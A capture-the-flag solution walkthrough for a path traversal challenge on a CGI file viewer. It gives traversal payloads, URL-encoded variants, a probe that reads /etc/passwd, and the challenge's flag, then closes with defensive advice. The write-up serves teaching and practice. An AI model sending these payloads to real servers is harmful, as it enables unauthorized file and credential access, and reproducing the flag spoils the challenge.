Path Traversal
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1
Flags
5
Pontos
72%
Taxa de Sucesso
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Desafio
Path Traversal - Complete Solution Walkthrough
Step 1: Understand the Vulnerability
- The challenge runs a vulnerable CGI script that allows file access
- The script takes a file parameter without proper validation
- Path traversal sequences like
../are not filtered - This allows access to files outside the web root directory
Step 2: Identify the Attack Vector
- Access the web server at the target URL
- Navigate to the File Viewer:
/vulnerable.cgi - The vulnerable endpoint is:
/vulnerable.cgi?file= - This CGI script allows file access without proper validation
Step 3: Craft the Path Traversal Payload
- Use the following payload:
?file=../../../../flag.txt - The script concatenates the file parameter to:
/usr/local/apache2/htdocs/ - This results in:
/usr/local/apache2/htdocs/../../../../flag.txt - Which resolves to:
/flag.txtin the container root
Step 4: Execute the Attack
- Send a request to:
http://target/vulnerable.cgi?file=../../../../flag.txt - The CGI script will process the path traversal
- This will access the flag file outside the web root
- The flag is:
7a9b8c1d-2e3f-4a5b-6c7d-8e9f0a1b2c3d
Step 5: Alternative Exploitation Methods
- Try different path traversal sequences:
../../../flag.txt,../../flag.txt - URL encode the payload:
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2f%2e%2f%2e%2f%2e%2fflag.txt - Explore other files:
?file=../../../../etc/passwd - Test different directory levels to find the correct path
Security Implications
- Input Validation: Always validate and sanitize file paths, especially in CGI scripts.
- Path Traversal: Common vulnerability that allows unauthorized file access.
- CGI Security: CGI scripts must be carefully secured to prevent exploitation.
- File Access Control: Implement proper access controls to prevent unauthorized file reading.
- Defense in Depth: Use multiple layers of security to prevent path traversal attacks.
- Code Review: Regular security audits can catch such vulnerabilities before deployment.
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